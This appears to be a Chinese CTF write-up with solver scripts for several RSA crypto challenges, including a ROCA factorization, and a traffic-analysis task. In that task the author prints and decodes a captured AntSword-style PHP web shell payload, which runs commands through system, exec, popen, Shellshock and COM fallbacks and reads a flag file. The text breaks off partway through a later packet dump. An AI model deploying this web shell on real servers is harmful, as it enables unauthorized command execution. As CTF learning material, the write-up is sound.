q23 = 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041
p22 = 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737
q22 = 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909
p21 = 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173
q21 = 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619
p20 = 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057
q20 = 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747
p19 = 4479430800690915874719403516331677127806963529247809966024777708496270901092401687
q19 = 5467527956822382309398095704409409074818664888285375307055715842283183939297839923
p18 = 15874438801602936764330936047390981280096007684699625987478211613419079727910193
q18 = 26984206512970181742033712455904984758134288864531714209886622060356697128804201
p17 = 102366458668689911004027849640392002821642295855327735994412634235696717329671
q17 = 104379442774418262390337411577160146519860415840398189010112686742489182665577
p16 = 262775599542220820608778738911414710660835549772895468394761119434220071003
q16 = 317277895959173163347650321012213555955385929418622006880521870012130207557
p15 = 2623629589005115152329094552749299711026240699896424120660145647226563547
q15 = 3200631836176555526009533059891690177091538103904679780020639896015937897
p14 = 11136261905010083405430254612464029672882837025885682392810368001188527
q14 = 12445294229358634680867170058509842935273054334385354032543323581223253
p13 = 43449898447639409732732812916430042263570178747794530133229640125923
q13 = 46014074200352892806829193743016415423205917845271691428043440245531
p12 = 66882708962198932251728043152245270662769508317424500666902658099
q12 = 103424977238409568447978495499643051307907366367259219393937014631
p11 = 350121371461894793578110243222665782247737840410076591434903787
q11 = 367712839396521757736384350030802803477965822058616833553305103
p10 = 954412804126450754097808991490470782833291028309980575506163
q10 = 1567597041534155679238655992215022394597376421096298363211067
p9 = 6623023178993627032758350846838617937710601663528839184727
q9 = 9419832152875820180139633405089278278408407453522978357309
p8 = 37185691759470013533730603170661686570987787098353146897
q8 = 41680117092754807988080699273322244961911189757589699867
p7 = 135813272566456906193934636644217527100917542578856697
q7 = 140758317578347635848563045232314610161039815135897421
p6 = 385788223643735590500185001710758495904528462058461
q6 = 576581905150085393327734090419529952232186498060949
p5 = 1656848589754467667368312855929759764100120657831
q5 = 2714357008989072105081411295741540337141142641741
p4 = 7832299017937880395583715032476962329929226581
q4 = 10726403821316775206273675267109184566904426261
p3 = 24335212484189159197840692460327461505035059
q3 = 43974782968656404951924524450501283426052127
p2 = 88067722275537586769787599991567203589751
q2 = 88380889077762105057154017276462714444697
p1 = 232079231415308325450092906880606082069
q1 = 295185057334340451492588650872876746227
p0 = 953730950786751671162019537171974567
q0 = 1189933229053113361422958527792232151


def solve(p, q, c, e, n_):

    P.<a>= PolynomialRing(Zmod(p), implementation='NTL')
    f = a ^ e - c
    mps = f.monic().roots()

    P.<a>= PolynomialRing(Zmod(q), implementation='NTL')
    g = a ^ e - c
    mqs = g.monic().roots()

    for mpp in mps:
        x = mpp[0]
        for mqq in mqs:
            y = mqq[0]
            solution = CRT_list([int(x), int(y)], [p, q])
            if solution < n_:
                solutions.append(solution)


p = []
q = []
n_ = []
for i in range(0, 27):
    solutions = []
    i = 26 - i
    print(i)
    print("c", c)
    eval("p.append(p{0})".format(i))
    print('p',p[-1])
    eval("q.append(q{0})".format(i))
    print('q', q[-1])
    if i == 0:
        break
    eval("n_.append(n{0})".format(i-1))
    print("上一个n", n_[-1])
    solve(p[-1], q[-1], c, e, n_[-1])
    print(solutions)
    if i == 21:
        c = solutions[0]
    elif i==9:
        c = solutions[-2]
    elif i==5:
        c = solutions[0]
    else:
        c = solutions[-1]
    print()
    print()


import libnum

p = p[-1]
q = q[-1]

P.<a>=PolynomialRing(Zmod(p),implementation='NTL')
f=a^e-c
mps=f.monic().roots()

P.<a>=PolynomialRing(Zmod(q),implementation='NTL')
g=a^e-c
mqs=g.monic().roots()

for mpp in mps:
    x=mpp[0]
    for mqq in mqs:
        y=mqq[0]
        solution = CRT_list([int(x), int(y)], [p, q])
        if "DASCTF" in str(libnum.n2s(int(solution))):
            print(libnum.n2s(int(solution)).decode())

easy_real

题目

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import random
import hashlib

flag = 'xxxxxxxxxxxxxxxxxxxx'
key = random.randint(1,10)
for i in range(len(flag)):
	crypto += chr(ord(flag[i])^key)
m = crypto的ascii十六进制
e = random.randint(1,100)
print(hashlib.md5(e))
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
n = p*q
c = pow(m,e,n)
print(n)
print(c)
#37693cfc748049e45d87b8c7d8b9aacd
#4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
#3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397

简单的签到题

  • 去cmd5上查37693cfc748049e45d87b8c7d8b9aacd得到e=23

  • 知道p、n, q = n// p；phi可求

  • 基础rsa，解出m

  • 转换得到'ndios_;9kgE;WK8e;W?gWn<\;k|nu'

  • 由题意，爆破key

    按照常规格式，flag最后一位应该是}

    由此得到，key=8

  • 异或得flag

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import gmpy2, libnum

n = 4197356622576696564490569060686240088884187113566430134461945130770906825187894394672841467350797015940721560434743086405821584185286177962353341322088523
c= 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
p = 64310413306776406422334034047152581900365687374336418863191177338901198608319
q = n // p
phi = (p-1)*(q-1)
e = 23

d = int(gmpy2.invert(e, phi))
m = int(pow(c, d, n))
print(hex(m))
num = 1
m = 'ndios_;9kgE;WK8e;W?gWn<\;k|nu'
for i in m:
    print('第{0}个字符'.format(num))
    for h in range(1, 11):
        print('k:', h)
        print(chr(ord(i) ^ h))
        print()
    num += 1
    print()
    print()


"""
0x6e64696f735f3b396b67453b574b38653b573f67576e3c5c3b6b7c6e75

第29个字符
k: 1
t

k: 2
w

k: 3
v

k: 4
q

k: 5
p

k: 6
s

k: 7
r

k: 8
}

k: 9
|

k: 10




# k = 8
"""

异或

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m = 'ndios_;9kgE;WK8e;W?gWn<\;k|nu'
for i in m:
    print(chr(ord(i) ^ 8), end='')

# flag{W31coM3_C0m3_7o_f4T3ctf}

CVE OF RSA | 赛后复现

此题是赛后看了4xwi11师傅的思路后，尝试独立复现的

回顾当时的情形，比赛时间为10: 00 - 18:00

十二点到下午一点之间就已经完成了2/3的密码题了

于是充满干劲地去试此题（AK是梦想哈哈🤤

列出几点不足

  • 知识面窄，不晓得此漏洞

  • 反应慢半拍，以为要嗯研究数学逻辑，然后独立写脚本

    就这样想了两三个小时，期间疯狂搜索，也没思路

  • 思维僵硬，终于找到CVE对应的paper后，没有想到可以去找已有的、现成的代码

    （其实时间也不够了，五点四十几，看到论文就瞑目了，时间太紧没有干劲啃论文了

好，让我们回到五点四十。

  1. 搜到了如下关键词

    The Return of Coppersmith’s Attack

    paper

  2. 此时，不该去望“文”兴叹，去github搜索看看吧！

    直接搜索关键词，没有高质量的代码

    参考4xwi11师傅推荐的仓库

    17年的ROCA（Return of Coppersmith’s attack）漏洞。简单转述一下就是，一些硬件采用以上方法快速产生RSA的私钥，这样产生的公钥n会带有一个指纹，但由于M是光滑数，这个指纹可以很快被攻击者确定，从而分解n

    有个仓库总结了很多密码的攻击，其中就有ROCA，Fr.https://github.com/jvdsn/crypto-attacks.git

  3. 利用其中函数，在roca.py下添加(N从靶机中得来)

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    logging.basicConfig(level=logging.DEBUG)

    M = 962947420735983927056946215901134429196419130606213075415963491270
    N = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
    p_, q_ = factorize(N, M, 5, 6)

    print(f"Found p = {p_} and q = {q_}")

    其中m = 5, t= 6来源如下：

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    # roca.py
    def factorize(N, M, m, t, g=65537):
        """
        Recovers the prime factors from a modulus using the ROCA method.
        More information: Nemec M. et al., "The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli"
        :param N: the modulus
        :param M: the primorial used to generate the primes
        :param m: the m parameter for Coppersmith's method
        :param t: the t parameter for Coppersmith's method
        :param g: the generator value (default: 65537)
        :return: a tuple containing the prime factors
        """
        ···

    参数根据论文The Return of Coppersmith’s Attack: Practical Factorization of Widely Used RSA Moduli(https://acmccs.github.io/papers/p1631-nemecA.pdf)，n是512位的，则m和t分别取5和6

    m&t

  4. 利用sage解题「 Linux or (类)Unix 终端 」

    • 激活sage conda activate sage

    • 执行roca解题脚本 sage -python roca.py的绝对路径

    • 等待⌛️ 五分钟左右，分解成功

      roca

    • 正常RSA求解m

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      from Crypto.Util.number import  *
      from gmpy2 import invert

      n = 14481363580917358871472996410471767154481047067466167591298208947805462002275531552979475988627964256677709787930755013972295770123571982960720640872341517
      c = 3679892564888936950542940140902963743841717939818025696558626052971555790204073416047068709668040686939721666022034628127241497612925260505783618939964139

      p = 111425929610175462966231922510304239063491575573222700849341403103622849511679
      q = 129964036482177256444505240482938730532498372430648951070700710194345995195123
      phi = (p-1) * (q-1)
      d = invert(0x10001, phi)
      m = pow(c, d, n)
      print(long_to_bytes(m))
      # flag{e28e6991-080d-4587-900d-db3c47139453}

收获

  • 找到了厉害师傅的博客🤔
  • 第一次体验了CVE复现
  • 近一步了解密码解题的思维
  • 发现了一个极好的Crypto-attack仓库

Misc

问卷调查

略

easyflow

先用wireshark把所有HTTP流量都导出
upload_eea1e678ff86ee76ae1563aab3d03593.png

大致分析了一下
在第11个包开始发现异常

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93748ef4./	2022-04-05 20:30:07	128	0700
../	2022-04-05 20:30:05	384	0700
.DS_Store	2022-04-05 20:30:12	6148	0644
index.php	2022-04-05 20:11:46	34	0666
3f17a75c06

第13个包发现了flag.txt

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4304dd6cf6d./	2022-04-05 20:30:05	384	0700
../	2022-04-05 20:29:55	3424	0755
mess/	2022-03-15 18:13:29	384	0755
test/	2022-04-05 20:30:07	128	0700
air/	2022-03-31 10:42:34	512	0700
rips/	2022-02-25 09:16:57	384	0775
CMS/	2022-01-20 09:29:06	384	0755
test4/	2022-03-31 17:33:39	384	0700
localhost/	2022-04-04 17:21:59	640	0775
.DS_Store	2022-04-05 20:30:07	8196	0644
flag.txt	2022-04-05 20:14:30	84	0644
Mccms_v2.5.7.zip	2022-03-31 15:11:18	12986995	0644
8197fe18fb2b

然后在第17个包和第19个包发现了关于flag的线索
17

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f9aa250head: illegal line count -- ../flag.txt
[S]
/Users/chang/Sites/test
[E]
13e3b9

19

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625fe869b49eYes,this is the flag file.
And the flag is:
[S]
/Users/chang/Sites/test
[E]
63c1dbf1e811

于是开始分析第16个包的内容

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a=%40eval(%40base64_decode(%24_POST%5B'kc1b01ee4a605'%5D))%3B&e57fb9c067c677=E8&g479cf6f058cf8=hnY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIC4uL2ZsYWcudHh0O2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ%3D%3D&kc1b01ee4a605=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjlhIi4iYTI1MCI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMTNlIi4iM2I5Ijt9b2Jfc3RhcnQoKTt0cnl7JHA9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJvMWZhZWJkNGVjM2Q5NyJdLDIpKTskcz1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImc0NzljZjZmMDU4Y2Y4Il0sMikpOyRlbnZzdHI9QGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiO2lmKHN1YnN0cigkZCwwLDEpPT0iLyIpe0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbiIpO31lbHNle0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iO0M6L1dpbmRvd3Mvc3lzdGVtMzI7QzovV2luZG93cy9TeXNXT1c2NDtDOi9XaW5kb3dzO0M6L1dpbmRvd3MvU3lzdGVtMzIvV2luZG93c1Bvd2VyU2hlbGwvdjEuMC87Iik7fWlmKCFlbXB0eSgkZW52c3RyKSl7JGVudmFycj1leHBsb2RlKCJ8fHxhc2xpbmV8fHwiLCAkZW52c3RyKTtmb3JlYWNoKCRlbnZhcnIgYXMgJHYpIHtpZiAoIWVtcHR5KCR2KSkge0BwdXRlbnYoc3RyX3JlcGxhY2UoInx8fGFza2V5fHx8IiwgIj0iLCAkdikpO319fSRyPSJ7JHB9IHskY30iO2Z1bmN0aW9uIGZlKCRmKXskZD1leHBsb2RlKCIsIixAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7aWYoZW1wdHkoJGQpKXskZD1hcnJheSgpO31lbHNleyRkPWFycmF5X21hcCgndHJpbScsYXJyYXlfbWFwKCdzdHJ0b2xvd2VyJywkZCkpO31yZXR1cm4oZnVuY3Rpb25fZXhpc3RzKCRmKSYmaXNfY2FsbGFibGUoJGYpJiYhaW5fYXJyYXkoJGYsJGQpKTt9O2Z1bmN0aW9uIHJ1bnNoZWxsc2hvY2soJGQsICRjKSB7aWYgKHN1YnN0cigkZCwgMCwgMSkgPT0gIi8iICYmIGZlKCdwdXRlbnYnKSAmJiAoZmUoJ2Vycm9yX2xvZycpIHx8IGZlKCdtYWlsJykpKSB7aWYgKHN0cnN0cihyZWFkbGluaygiL2Jpbi9zaCIpLCAiYmFzaCIpICE9IEZBTFNFKSB7JHRtcCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnYXMnKTtwdXRlbnYoIlBIUF9MT0w9KCkgeyB4OyB9OyAkYyA%2BJHRtcCAyPiYxIik7aWYgKGZlKCdlcnJvcl9sb2cnKSkge2Vycm9yX2xvZygiYSIsIDEpO30gZWxzZSB7bWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICItYnYiKTt9fSBlbHNlIHtyZXR1cm4gRmFsc2U7fSRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJHRtcCk7QHVubGluaygkdG1wKTtpZiAoJG91dHB1dCAhPSAiIikge3ByaW50KCRvdXRwdXQpO3JldHVybiBUcnVlO319cmV0dXJuIEZhbHNlO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKGZlKCdzeXN0ZW0nKSl7QHN5c3RlbSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHJldCk7fWVsc2VpZihmZSgnc2hlbGxfZXhlYycpKXtwcmludChAc2hlbGxfZXhlYygkYykpO31lbHNlaWYoZmUoJ2V4ZWMnKSl7QGV4ZWMoJGMsJG8sJHJldCk7cHJpbnQoam9pbigiCiIsJG8pKTt9ZWxzZWlmKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsMjA0OCkpO31AcGNsb3NlKCRmcCk7fWVsc2VpZihmZSgncHJvY19vcGVuJykpeyRwID0gQHByb2Nfb3BlbigkYywgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwgJGlvKTt3aGlsZSghQGZlb2YoJGlvWzFdKSl7cHJpbnQoQGZnZXRzKCRpb1sxXSwyMDQ4KSk7fXdoaWxlKCFAZmVvZigkaW9bMl0pKXtwcmludChAZmdldHMoJGlvWzJdLDIwNDgpKTt9QGZjbG9zZSgkaW9bMV0pO0BmY2xvc2UoJGlvWzJdKTtAcHJvY19jbG9zZSgkcCk7fWVsc2VpZihmZSgnYW50c3lzdGVtJykpe0BhbnRzeXN0ZW0oJGMpO31lbHNlaWYocnVuc2hlbGxzaG9jaygkZCwgJGMpKSB7cmV0dXJuICRyZXQ7fWVsc2VpZihzdWJzdHIoJGQsMCwxKSE9Ii8iICYmIEBjbGFzc19leGlzdHMoIkNPTSIpKXskdz1uZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7JGU9JHctPmV4ZWMoJGMpOyRzbz0kZS0%2BU3RkT3V0KCk7JHJldC49JHNvLT5SZWFkQWxsKCk7JHNlPSRlLT5TdGRFcnIoKTskcmV0Lj0kc2UtPlJlYWRBbGwoKTtwcmludCgkcmV0KTt9ZWxzZXskcmV0ID0gMTI3O31yZXR1cm4gJHJldDt9OyRyZXQ9QHJ1bmNtZCgkci4iIDI%2BJjEiKTtwcmludCAoJHJldCE9MCk%2FInJldD17JHJldH0iOiIiOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7&o1faebd4ec3d97=jmL2Jpbi9zaA%3D%3D

一眼丁真，直接上php,快速处理一下

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 array(4) {
["_GET"]=>
array(0) {
}
["_POST"]=>
array(5) {
  ["cmd"]=>
  string(76) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['kc1b01ee4a605']));"
  ["e57fb9c067c677"]=>
  string(2) "E8"
  ["g479cf6f058cf8"]=>
  string(98) "hnY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIC4uL2ZsYWcudHh0O2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ=="
  ["kc1b01ee4a605"]=>
  string(3476) "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjlhIi4iYTI1MCI7ZWNobyBAYXNlbmMoJG91dHB1dCk7ZWNobyAiMTNlIi4iM2I5Ijt9b2Jfc3RhcnQoKTt0cnl7JHA9YmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJvMWZhZWJkNGVjM2Q5NyJdLDIpKTskcz1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImc0NzljZjZmMDU4Y2Y4Il0sMikpOyRlbnZzdHI9QGJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsiZTU3ZmI5YzA2N2M2NzciXSwyKSk7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI/Ii1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiO2lmKHN1YnN0cigkZCwwLDEpPT0iLyIpe0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iOi91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2JpbiIpO31lbHNle0BwdXRlbnYoIlBBVEg9Ii5nZXRlbnYoIlBBVEgiKS4iO0M6L1dpbmRvd3Mvc3lzdGVtMzI7QzovV2luZG93cy9TeXNXT1c2NDtDOi9XaW5kb3dzO0M6L1dpbmRvd3MvU3lzdGVtMzIvV2luZG93c1Bvd2VyU2hlbGwvdjEuMC87Iik7fWlmKCFlbXB0eSgkZW52c3RyKSl7JGVudmFycj1leHBsb2RlKCJ8fHxhc2xpbmV8fHwiLCAkZW52c3RyKTtmb3JlYWNoKCRlbnZhcnIgYXMgJHYpIHtpZiAoIWVtcHR5KCR2KSkge0BwdXRlbnYoc3RyX3JlcGxhY2UoInx8fGFza2V5fHx8IiwgIj0iLCAkdikpO319fSRyPSJ7JHB9IHskY30iO2Z1bmN0aW9uIGZlKCRmKXskZD1leHBsb2RlKCIsIixAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSk7aWYoZW1wdHkoJGQpKXskZD1hcnJheSgpO31lbHNleyRkPWFycmF5X21hcCgndHJpbScsYXJyYXlfbWFwKCdzdHJ0b2xvd2VyJywkZCkpO31yZXR1cm4oZnVuY3Rpb25fZXhpc3RzKCRmKSYmaXNfY2FsbGFibGUoJGYpJiYhaW5fYXJyYXkoJGYsJGQpKTt9O2Z1bmN0aW9uIHJ1bnNoZWxsc2hvY2soJGQsICRjKSB7aWYgKHN1YnN0cigkZCwgMCwgMSkgPT0gIi8iICYmIGZlKCdwdXRlbnYnKSAmJiAoZmUoJ2Vycm9yX2xvZycpIHx8IGZlKCdtYWlsJykpKSB7aWYgKHN0cnN0cihyZWFkbGluaygiL2Jpbi9zaCIpLCAiYmFzaCIpICE9IEZBTFNFKSB7JHRtcCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnYXMnKTtwdXRlbnYoIlBIUF9MT0w9KCkgeyB4OyB9OyAkYyA+JHRtcCAyPiYxIik7aWYgKGZlKCdlcnJvcl9sb2cnKSkge2Vycm9yX2xvZygiYSIsIDEpO30gZWxzZSB7bWFpbCgiYUAxMjcuMC4wLjEiLCAiIiwgIiIsICItYnYiKTt9fSBlbHNlIHtyZXR1cm4gRmFsc2U7fSRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJHRtcCk7QHVubGluaygkdG1wKTtpZiAoJG91dHB1dCAhPSAiIikge3ByaW50KCRvdXRwdXQpO3JldHVybiBUcnVlO319cmV0dXJuIEZhbHNlO307ZnVuY3Rpb24gcnVuY21kKCRjKXskcmV0PTA7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKGZlKCdzeXN0ZW0nKSl7QHN5c3RlbSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdwYXNzdGhydScpKXtAcGFzc3RocnUoJGMsJHJldCk7fWVsc2VpZihmZSgnc2hlbGxfZXhlYycpKXtwcmludChAc2hlbGxfZXhlYygkYykpO31lbHNlaWYoZmUoJ2V4ZWMnKSl7QGV4ZWMoJGMsJG8sJHJldCk7cHJpbnQoam9pbigiCiIsJG8pKTt9ZWxzZWlmKGZlKCdwb3BlbicpKXskZnA9QHBvcGVuKCRjLCdyJyk7d2hpbGUoIUBmZW9mKCRmcCkpe3ByaW50KEBmZ2V0cygkZnAsMjA0OCkpO31AcGNsb3NlKCRmcCk7fWVsc2VpZihmZSgncHJvY19vcGVuJykpeyRwID0gQHByb2Nfb3BlbigkYywgYXJyYXkoMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKSwgJGlvKTt3aGlsZSghQGZlb2YoJGlvWzFdKSl7cHJpbnQoQGZnZXRzKCRpb1sxXSwyMDQ4KSk7fXdoaWxlKCFAZmVvZigkaW9bMl0pKXtwcmludChAZmdldHMoJGlvWzJdLDIwNDgpKTt9QGZjbG9zZSgkaW9bMV0pO0BmY2xvc2UoJGlvWzJdKTtAcHJvY19jbG9zZSgkcCk7fWVsc2VpZihmZSgnYW50c3lzdGVtJykpe0BhbnRzeXN0ZW0oJGMpO31lbHNlaWYocnVuc2hlbGxzaG9jaygkZCwgJGMpKSB7cmV0dXJuICRyZXQ7fWVsc2VpZihzdWJzdHIoJGQsMCwxKSE9Ii8iICYmIEBjbGFzc19leGlzdHMoIkNPTSIpKXskdz1uZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7JGU9JHctPmV4ZWMoJGMpOyRzbz0kZS0+U3RkT3V0KCk7JHJldC49JHNvLT5SZWFkQWxsKCk7JHNlPSRlLT5TdGRFcnIoKTskcmV0Lj0kc2UtPlJlYWRBbGwoKTtwcmludCgkcmV0KTt9ZWxzZXskcmV0ID0gMTI3O31yZXR1cm4gJHJldDt9OyRyZXQ9QHJ1bmNtZCgkci4iIDI+JjEiKTtwcmludCAoJHJldCE9MCk/InJldD17JHJldH0iOiIiOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7"
  ["o1faebd4ec3d97"]=>
  string(14) "jmL2Jpbi9zaA=="
}

首先处理一下最长的kc1b01ee4a605

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<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out)
{
    return $out;
}

;
function asoutput()
{
    $output = ob_get_contents();
    ob_end_clean();
    echo "f9a" . "a250";
    echo @asenc($output);
    echo "13e" . "3b9";
}

ob_start();
try {
    $p = base64_decode(substr($_POST["o1faebd4ec3d97"], 2));
    $s = base64_decode(substr($_POST["g479cf6f058cf8"], 2));
    $envstr = @base64_decode(substr($_POST["e57fb9c067c677"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f)
    {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    }

    ;
    function runshellshock($d, $c)
    {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print($output);
                return True;
            }
        }
        return False;
    }

    ;
    function runcmd($c)
    {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    }

    ;
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die();

这两个函数十分关键

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$p = base64_decode(substr($_POST["o1faebd4ec3d97"], 2));
$s = base64_decode(substr($_POST["g479cf6f058cf8"], 2));

因为$_POST["o1faebd4ec3d97"]有亿点短，
直接先看看$s是个嘛玩意

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cd "/Users/chang/Sites/test";head -n ../flag.txt;echo [S];pwd;echo [E]

嗯哼

直接看第18个包，继续古法炮制

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array(4) {
 ["_GET"]=>
 array(0) {
 }
 ["_POST"]=>
 array(5) {
   ["cmd"]=>
   string(77) "var_dump(get_defined_vars());@eval(@base64_decode($_POST['t14ae029df18c6']));"
   ["e57fb9c067c677"]=>
   string(2) "rX"
   ["g479cf6f058cf8"]=>
   string(98) "flY2QgIi9Vc2Vycy9jaGFuZy9TaXRlcy90ZXN0IjtoZWFkIC1uIDIgLi4vZmxhZy50eHQ7ZWNobyBbU107cHdkO2VjaG8gW0Vd"
   ["o1faebd4ec3d97"]=>
   string(14) "VyL2Jpbi9zaA=="
   ["t14ae029df18c6"]=>
